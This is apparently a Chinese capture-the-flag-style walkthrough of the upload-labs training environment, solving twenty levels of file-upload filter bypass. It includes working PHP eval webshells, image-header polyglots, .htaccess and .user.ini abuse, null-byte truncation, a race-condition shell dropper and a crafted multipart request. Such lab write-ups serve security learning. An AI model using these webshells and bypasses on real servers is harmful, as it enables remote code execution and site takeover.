Pass-01
文件后缀判断逻辑在前端
在控制台把含此判断的函数覆盖掉就行了。F12 打开开发者工具,转到 Console 输入function checkFile(){}
,然后上传webshell
或者也把form节点中的onsubmit属性里的return checkFile()
改成return true
也可以绕过类型检查
然后“图片”会回显到页面中,右键在新窗口打开即可执行shell
Pass-02
页面使用的是MIME类型判断
所以使用bp抓包,修改header字段为Content-Type: image/png
成功上传
Pass-03
黑名单过滤,但是不完全
后缀改 phtml(或者 php3、php5) 可以成功上传
Pass-04
还是黑名单过滤,phtml、php3、php5 等均被过滤,但是.htaccess
没有被过滤
.htaccess文件(”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。 启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。 它里面有这样一段代码:AllowOverride None,把None改成All以允许.htaccess覆盖所有配置选项,这样上传的.htaccess可以起作用
<Directory /> Options +Indexes +FollowSymLinks +ExecCGI AllowOverride All Order allow,deny Allow from all Require all granted </Directory>
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能
上传一个.htaccess
文件,内容为:AddType application/x-httpd-php .png
如果当前目录下有以.png结尾的文件,就会被解析为.php .htaccess上传后立即生效,无需重启Web服务
然后再上传一个图片马。图片马可以用在一句话木马里面加上GIF89a就可以了,然后把后缀名改成png或者jpg等等
GIF89a 是 GIF 图片文件格式的标识符,常见于 GIF 图片的文件头。这个标识符告诉浏览器或查看工具该文件是一个合法的 GIF 图片 这里并没有验证图片安全性,不写标识符也可以
GIF89a
<?php eval($_POST['cmd']);?>
发送POST请求,带上参数 cmd=phpinfo;
,成功执行
Pass-05
上述后缀名都被限制了,但是.ini
没有被限制
.user.ini : 自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用.htaccess 文件有同样效果。 作用范围: 存放该文件的目录及其子目录 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI设置可被识别。 两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。 user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是.user.ini。 user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)
加载方式: 会首先加载
php.ini/httpd-conf
文件中的配置。然而,如果在某个目录下存在.user.ini/.htaccess
文件,服务器会在处理请求时检查该目录,并覆盖相应的配置项
.htaccess文件只能用于apahce,不能用于iis和nginx等中间件 .user.ini只能用于Server API为FastCGI模式下,而正常情况下apache不是运行在此模块下的。 .htaccess和.user.ini都只能用于访问本目录下的文件时进行覆盖。
写法:auto_prepend_file=test.txt
(test.txt 中只包含php代码)
auto_prepend_file 是一个PHP的配置项
这条语句的作用是告诉PHP在执行每个脚本之前,自动包含并执行test.txt
文件中的内容
因此,在.user.ini
文件中写入:auto_prepend_file=test.png
。上传ini,然后再上传图片马
由于代码是执行php时自动执行的,而upload下有一个readme.php。访问这个文件并使用POST请求即可
下载的环境靶场Server API并不是FastCGI,如果要改的话好像要重新编译php和apache 目前这题用这个方法复现不了 所以采用另一种绕过方法
解法2
观察源码检测逻辑
这里第14行实际应该是$img_path = UPLOAD_PATH.'/'.$file_name;
- 第5行 定义后缀黑名单
- 第6行 去除首尾空格
- 第7行 删除末尾的点符号
- 第8行 搜索
.
最后一次出现的位置,并返回从此.
到结尾的字符串(后缀名) - 第9行 将得到的后缀中的
'::$DATA'
字符串替换为空字符串(即删除这个子字符串),并将结果重新赋值给 $file_ext - 第10行 后缀首尾去空格
- 后续代码判断这个文件后缀是否在黑名单里
关键在于 这段过滤逻辑只执行一次
所以构造这样一个文件名:"test.php. ."
在这套操作下来,得到$file_name="test.php. "; $file_ext="."
成功上传。根据后续文件路径拼接逻辑,即将文件路径后面直接拼接上$file_name
,结果是 test.php
由于 Windows 文件名末尾有空格或点的话保存时会被自动去除,因此如果在 Windows 环境下需要在文件上传时使用bp抓包再修改文件名
解法3(最简单的一个)
这里没有大小写转换,所以把文件名改成test.PHP
也是可以成功上传的
Pass-06
观察过滤逻辑
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
这里文件名和后缀都没有trim,所以只要在文件名后面加个空格"test.php "
bp抓包改文件名,成功上传
Pass-07
观察过滤逻辑
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
这里文件名没有去除点。所以只要在文件名后面加个点"test.php."
这样,strrchr
返回给$file_ext
的就是.
Pass-08
这题跟Pass-05的区别就是多了个小写转换,而且没有去除字符串::$DATA
可以采用Pass-05的第二个解法,即文件名改成"test.php. ."
Pass-09
这题跟Pass-05的区别就是多了个小写转换
可以采用Pass-05的第二个解法,即文件名改成"test.php. ."
Pass-10
观察过滤逻辑
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
这里是把文件名所含的黑名单后缀替换成空字符,并且str_ireplace()
函数会不区分大小写地替换字符串中的所有指定字符
但是替换操作 只有一次,所以尝试这样构造文件名: test.pphphphpp
即在"php"三个字符中间分别插入一个"php"。成功上传,经过过滤后的文件名为test.php
Pass-11
这关是白名单过滤,只允许上传jpg png gif类型的文件
先定义了一个白名单数组
然后第5行获取后缀名,其逻辑:
- 最外层是substr函数,从上传的文件名中截取一部分,第二个参数是截取的起始索引(包含该索引字符)
- substr第二个参数调用strrpos函数,它从文件名中查找并返回
.
最后一次出现位置的索引 - 第二个参数为strrpos返回值 + 1
- 最后返回文件名中最后一个
.
后面的字符串
再看后面的文件路径拼接逻辑,保存的文件的后缀名是之前截取出来的,全文件名是保存路径+随机数+时间戳+截取出来的后缀名
,采用之前的方法显然不可行
同时注意到save_path
是通过 GET 方法获取的,这里可能存在注入点
将test.php改为test.png,使用bp拦截请求,点击上传
查看 Request query parameters 有一条: save_path: ../upload/
这里也许可以进行一些非法操作
这个../upload/
会被拼接到文件路径,联想到在内存中一系列字符的末尾会有一个空字符标记字符串结束,那么这里能不能使用空字符提前把它截断呢
Null 字节注入:在文件名中添加 %00(Null 字节),可能会使某些程序截断文件名后缀
篡改GET参数save_path
的值为../upload/test.png%00
,末尾使用URL Encoded空字符%00
这样,在后面拼接而成的字符串$img_path=../upload/test.png%00/xxxxxxxx.png
这里的%00
即空字符,标记了字符串的结尾,也就是程序在对此字符串的操作中会把$img_path
截断成了../upload/test.png
,也就是最终的文件路径
Pass-12
这关与Pass-11唯一的不同点就是save_path
是通过POST请求获取的,而非GET请求,解法完全一样,只不过改的是POST参数值
Pass-13
观察代码逻辑
可以看到这里以二进制模式打开读取了文件的前2个字节(文件头标识),用unpack()
解包为一个关联数组
"C2chars" 表示将前两个字节($bin)解码为两个无符号字符(chars1 和 chars2)。 解码后的数组形如 ['chars1' => x, 'chars2' => y],分别表示文件的前两个字节。
再通过intval()
将解包得到的前两个字节转换成一个十进制整数,拼接字符并转为数字,不同文件类型的头部标识可以通过这个数字识别
接下来就是switch
匹配这个标识,匹配到jpg/png/gif才能上传
所以用到之前Pass-04提到的图片马,在test.php
中写入
GIF89a
<?php eval($_POST['cmd']);?>
GIF89a 是 GIF 文件格式的一个版本,其ASCII码对应十六进制 0x47 0x49 0x46 0x38 0x39 0x61 前两个字节是 0x47 0x49(十进制为 71 73)
可以成功上传,但是根据后续代码拼接文件路径的逻辑,上传保存的文件后缀名是.gif
访问该文件时网站不会将它解析为php代码执行
不过,这关的任务中说明了使用 文件包含漏洞 运行图片马中的恶意代码
在/include.php
中的代码如下:
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
这里将GET请求file参数值包含到php代码内
所以在此页面构造payload: ?file=upload/9020240916163840.gif
。成功运行一句话木马
此外,任务中还提到了要.jpg .png .gif三种后缀都上传成功才算过关
三种图像文件的前两个字节:
0xFF 0xD8(十进制为 255 216)(jpg) 0x89 0x50(十进制为 137 80)(png) 0x47 0x49(十进制为 71 73)(gif)
jpg、png与gif不同,不像GIF98a可那样通过简单的字符串来标识版本
在test.php中写入<?php eval($_GET['cmd']);
用十六进制编辑器打开
在前面写jpg
的FF D8
或png
的89 50
这里甚至不需要改文件后缀,只要前两个字节匹配成功就能上传
Pass-14
isImage
函数中,先定义一个文件类型的变量,然后由于文件存在进入if块getimagesize()
获取文件的信息,包括文件的宽高、文件类型等。返回一个数组,如果文件是有效图片,数组中的第 2 项(索引 2)表示图片的类型(整数形式,类似 IMAGETYPE_JPEG、IMAGETYPE_PNG 等)image_type_to_extension()
根据getimagesize()
返回的图片类型,将其转换为对应的扩展名。比如,如果图片类型是IMAGETYPE_JPEG
,该函数将返回.jpeg
- 使用
stripos()
检查扩展名$ext
是否存在于$types
中,返回第一个匹配的索引。stripos()
是不区分大小写的 - 如果检查均通过,
isImage
返回文件后缀名
这里的关键在于欺骗getimagesize()
在一句话木马开头写GIF89a
成功上传
对于PNG,在开头以十六进制写89 50 4E 47 0D 0A 1A 0A
成功上传(PNG文件头)
对于JPG,仅修改文件头发现不可行,采用合成图片马的方式
先准备一张正经的JPG图片a.jpg
因为尝试过几张图片在后续代码执行中全部报错,所以用PS弄了张纯白300x300 JPG
CMD执行命令
$ copy a.jpg/b+test.php test.jpg
这里的/b
指定以二进制格式复制、合并文件,用于图像或者声音类文件
上传test.jpg
使用POST请求传参cmd=phpinfo();
成功执行
对于PNG、GIF合成图片马也是同理
Pass-15
这关源码使用exif_imagetype()
获取文件类型,完全可以套用Pass-14的图片马解法
Pass-16
这关使用之前的图片马上传后发现不能执行恶意php代码
观察源码,发现程序使用imagecreatefromjpeg()/imagecreatefrompng()/imagecreatefromgif()
用上传的图片重新渲染了一张新的图片,新的图片不含有原来的php代码了
不过对于GIF有一个特性,即不会对文件所有内容进行重写
因此首先上传一个GIF,保存回显的GIF文件,分别以十六进制打开这两个GIF文件,对比找到不变的部分,然后在不变的部分插入一句话木马(直接复制粘贴)
010 Editor -> Tools -> Compare Files 可以比较文件
CTRL+S保存,上传
包含文件,POST传参执行PHP代码成功
Pass-17
审查代码
move_uploaded_file()
将文件从临时目录移动到上传目录,然后马上进行后缀检查,使用rename()
进行重命名,或是删除不匹配的类型的文件
漏洞在于程序先移动文件,再检查后缀名,不合法再删除文件
在删除之前未被删除的文件由于条件竞争程序会出现来不及删除的问题,可以利用这点钻空子
大量发送上传文件的请求,让服务器来不及处理,趁它不注意偷偷访问一下传的非法文件
短暂时间不足以进行更多非法操作,所以用代码生成一个webshell,然后也发大量请求访问这个代码文件,以抓住服务器没有来得及删除文件的空隙执行生成webshell的代码
test.php
如下
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
上传文件,使用bp拦截请求,发送到Intruder
然后在页面中访问这个test.php,使用bp拦截请求,发送到Intruder
开始两个Attack。经过大量攻击后成功生成shell.php
,访问使用POST传参测试成功
Pass-18
源码有些长。先是实例化对象,然后在upload函数里依次进行isUploadedFile()
setDir()
checkExtension()
checkSize()
接着移动文件到服务器上,再重命名,存在异常则返回异常代码
因为先检查文件合法再移动,所以不能用17关的方法了
此处利用 Apache解析漏洞
使用Apache的网站解析文件名时从右往左看,如果第一个后缀无法解析将会解析下一个后缀,因此可以使用双重后缀绕过
利用此特性写一行php代码命名为test.php.7z
先直接放到upload文件夹中测试,访问文件,发现能执行代码
将刚才的文件上传
此时遇到另一个问题:文件会被重命名为随机数和时间戳构造的名再接上后缀
但是根据源码逻辑,文件在通过一系列检查之后再重命名文件,所以这里可以利用17关的思路,也就是在文件被重命名之前访问上传的文件生成小马
与之前一样,用bp分别抓上传文件和访问文件(http://127.0.0.1/upload/test.php.7z)
的包,发送到intruder
这关本地环境代码有问题,上传文件的路径upload后面少了个/
,我就说怎么做不出,一看WWW文件夹几百个上传的文件
Pass-19
这关非常简单,可以上传任何文件,但是要自己设置保存的文件名,对其后缀有黑名单过滤,源码用pathinfo()
获取文件后缀名,它查找文件最后一个.
并提取这之后的内容
所以可以沿用之前的方法,比如保存名称这样写test.php.
。成功执行代码
Pass-20
这关也是自己设置保存的文件名
源码先检测文件的MIME类型,这个抓包修改可以绕过,也可以改成test.jpg上传
然后检查保存的文件名
将文件名以.
分割创建数组,检测数组最后一个元素是否在白名单内,拼接文件名的时候取数组的第一位和最后一位拼起来,所以之前的方法不能用了
主要的逻辑漏洞在第20行,使用元素数减一得到最后元素下标数,但是实际上 PHP 数组的元素个数可以小于其最大索引数
可以想办法$file
数组看起来像这样 (这里的null
表示没有数据)
[test, null, php, jpg]
这样,count($file)
的值为3,$file[count($file) - 1]
的值为"jpg"
在检查文件后缀时,锁定数组最后一个元素,在拼接文件名时却用元素数去计算索引,是要出问题的
既然前面用if判断$file
不是数组就把它拆分成数组,那么是不是可以直接传递一个数组作为save_name
参数呢
上传test.php,使用bp抓包。修改Headers Content-Type: image/jpeg
下面在save_name
后面加个中括号包索引,复制粘贴两块
-----------------------------12559676011656098046558078521
Content-Disposition: form-data; name="save_name[0]"
test
-----------------------------12559676011656098046558078521
Content-Disposition: form-data; name="save_name[2]"
php
-----------------------------12559676011656098046558078521
Content-Disposition: form-data; name="save_name[3]"
jpg
Forward请求,成功上传,保存文件名为test.php